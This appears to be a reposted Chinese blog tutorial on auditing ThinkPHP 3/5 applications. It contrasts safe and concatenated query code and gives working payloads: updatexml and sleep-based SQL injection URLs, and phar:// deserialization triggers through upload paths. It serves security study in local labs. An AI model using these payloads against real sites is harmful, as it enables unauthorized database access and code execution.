当前位置: 首页 > article >正文

DAY110代码审计-PHP框架开发篇ThinkPHP版本缺陷不安全写法路由访问利用链

https://blog.csdn.net/m0_60571842/article/details/139057898

看这个原作者

知识点:

1、PHP框架学习-ThinkPHP-架构&调试&路由&接受
2、PHP框架审计-ThinkPHP-不安全写法&版本漏洞

框架审计总结方向:

1、版本不安全写法怎么检测

-本地复现版本写法对比(不是官方写法就是不安全写法)

-参考官方开发手册写法

2、版本自身的漏洞怎么检测

-平常多关注此类框架漏洞

https://github.com/hughink/Thinkphp-All-vuln

-配合黑盒工具检测找入

3、版本自身的漏洞怎么利用

根据漏洞提示找满足条件实现调用

满足条件:对应的函数点和可控变量

一、演示案例-PHP框架审计-ThinkPHP5-不安全写法&版本漏洞

搭建环境:

ThinkPHP V5.1.29+Phpstudy_Pro+PHP7.3+Apache+Mysql

  • 1

开发参考:

https://www.kancloud.cn/manual/thinkphp5_1/353946https://www.kancloud.cn/manual/thinkphp5_1/353946

1、解释TP框架开发的源码审计要点

2、参考开发手册学习文件目录含义

3、参考开发手册学习寻找入口文件

4、参考开发手册学习寻找URL对应文件

5、参考开发手册学习如何开启调试模式

开启调试模式:/config/app.php

'app_debug'              => true,

'app_trace'              => true,

6、参考开发手册学习官方写法和不安全写法。

数据库查询操作

官方写法 预编译机制

public function login(Request $request)

{

    $id=$request->param('id');

    $data=Db::table('cw_admin')->where('id',$id)->find();

    return $data['user'].'|'.$data['pass'];

}

有回显

报错注入语句:

Home | Digital Business Services | TP

版本漏洞 反序列化phar

/index.php/index/login/file_check?f=phar://./1.png

二、演示案例-PHP框架审计-ThinkPHP5-不安全写法-SQL注入

搭建环境:

Phpstudy_Pro+PHP7.3+Apache+Mysql

1

1、查看版本-thinkphp/base.php(搜version找)

define('THINK_VERSION', '5.0.24');

2、找不安全写法-搜where找拼接&黑盒工具

文件:application/bbs/controller/User.php

方法:xiaoxidel

参数:ids id

先登录看下路由地址

application/bbs/controller/User.php

3、application/bbs/controller/User.php(需要注册个用户才能触发)

index.php/bbs/user/xiaoxidel/ids/0/id/1 and updatexml(1,concat(0x7e,user(),0x7e),1)

问题在where语句是直接拼接SQL-where("id ={$id}")

如改为数组的传参就能修复此处问题-where("id",$id)

黑盒工具-入口不安全写法-SQL注入

文件:application/bbs/controller/User.php

方法:home

参数:ids id

/index.php/bbs/user/xiaoxidel/ids/1/id/1 and updatexml(1,concat(0x7e,user(),0x7e),1)

三、演示案例-PHP框架审计ThinkPHP3-版本漏洞-SQL注入

搭建环境:Phpstudy_Pro PHP7.3 Apache Mysql

1、查看版本-ThinkPHP/ThinkPHP.php(搜version找)

const THINK_VERSION = '3.2.3';

2、版本漏洞-SQL注入

Thinkphp3.2.3-漏洞审计汇总 - FreeBuf网络安全行业门户

3、找利用点-搜实现关键字

Application/Admin/Controller/ArticleController.class.php

$data = M('Article')->find(I('id'));

Application/Admin/Controller/ArticleController.class.php

http://shcoolcms//index.php?m=admin&c=Article&a=SaveInfo&id=1

4、Poc构造-利用数据库监控组合注入

/index.php?m=Admin&c=Article&a=SaveInfo&id[where]=id=3 and sleep(5)#

四、演示案例-PHP框架审计-ThinkPHP5-版本漏洞-反序列化

搭建环境:Phpstudy_Pro+PHP7.3+Apache+Mysql

1、查看版本-thinkphp/library/think/App.php(搜version找)

const VERSION = '5.1.41 LTS';

2、版本漏洞-反序列化(借助phpggc模版生成利用phar利用)

3、找利用点-搜file_exists(),fopen(),file_get_contents(),file()等文件操作的函数

路由逻辑分析

/admin.php/update/rmdirr.html?

dirname=phar://./public/upload/menubg/6543297dcccb9.png

/public/upload/userimages/6731d8db58e3a.png

/admin.php/update/rmdirr.html?dirname=phar://./public/upload/userimages/6731d928465e8.png

/public/upload/userimages/6731d928465e8.png


http://www.kler.cn/a/396558.html

相关文章:

  • 自动驾驶仿真:软件在环(SIL)测试详解(精简版入门)
  • 海思3403对RTSP进行目标检测
  • MyBatis——增删查改(XML 方式)
  • 数字IC后端实现之Innovus specifyCellEdgeSpacing和ICC2 set_placement_spacing_rule的应用
  • 微澜:用 OceanBase 搭建基于知识图谱的实时资讯流的应用实践
  • C++单例模式与多例模式
  • 鸿蒙next 应用重启方案
  • fast-api后端 + fetch 前端流式文字响应
  • Spring Cloud 使用 Nacos 注册中心
  • 从基础到进阶,Dockerfile 如何使用环境变量
  • stm32在linux环境下的开发与调试
  • nacos-operator在k8s集群上部署nacos-server2.4.3版本踩坑实录
  • 数据结构 -- 二叉搜索树
  • 十一:HTTP 状态码详解:解读每一个响应背后的意义
  • 【论文复现】图像风格迁移技术
  • 新手教学系列——善用 VSCode 工作区,让开发更高效
  • 自定义实体类中DateTime属性的序列化格式
  • CSP-X2024山东小学组T2:消灭怪兽
  • IO流实用案例:用字节流--输入流(Inpustream)、输出流(OutputStream)写一个拷贝图片的案例--超简单!
  • Oracle故障处理:ora-12514 与 ora-28547
  • npm install命令报错:npm ERR Could not resolve dependency npm ERR peer…
  • Springboot RabbitMq 集成分布式事务问题
  • SQL,力扣题目1194,锦标赛优胜者
  • Java学习Day60:回家!(ElasticStatic)
  • 《Probing the 3D Awareness of Visual Foundation Models》论文解析——多视图一致性
  • 【WPF】Prism库学习(一)